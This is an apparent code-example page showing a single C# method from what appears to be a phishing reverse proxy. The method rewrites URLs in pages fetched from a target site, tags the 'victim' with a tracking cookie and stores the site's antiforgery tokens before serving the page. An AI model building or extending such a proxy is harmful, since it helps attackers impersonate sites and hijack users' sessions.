Esempio n. 1
0
        private async Task <IActionResult> CreateResponseHtml(HttpResponseMessage response, HttpRequest requestFromVictim, HttpResponse responseToVictim)
        {
            var responseString = await response.Content.ReadAsStringAsync();

            responseString = _htmlSanitizer.ReplaceUrls(responseString);
            if (!requestFromVictim.Cookies.ContainsKey("ProxyId"))
            {
                responseToVictim.Cookies.Append("ProxyId", Guid.NewGuid().ToString());
            }
            SaveAntiforgeryToken(responseString, requestFromVictim.Cookies["ProxyId"]);
            return(new ContentResult
            {
                ContentType = "text/html",
                StatusCode = (int)HttpStatusCode.OK,
                Content = responseString
            });
        }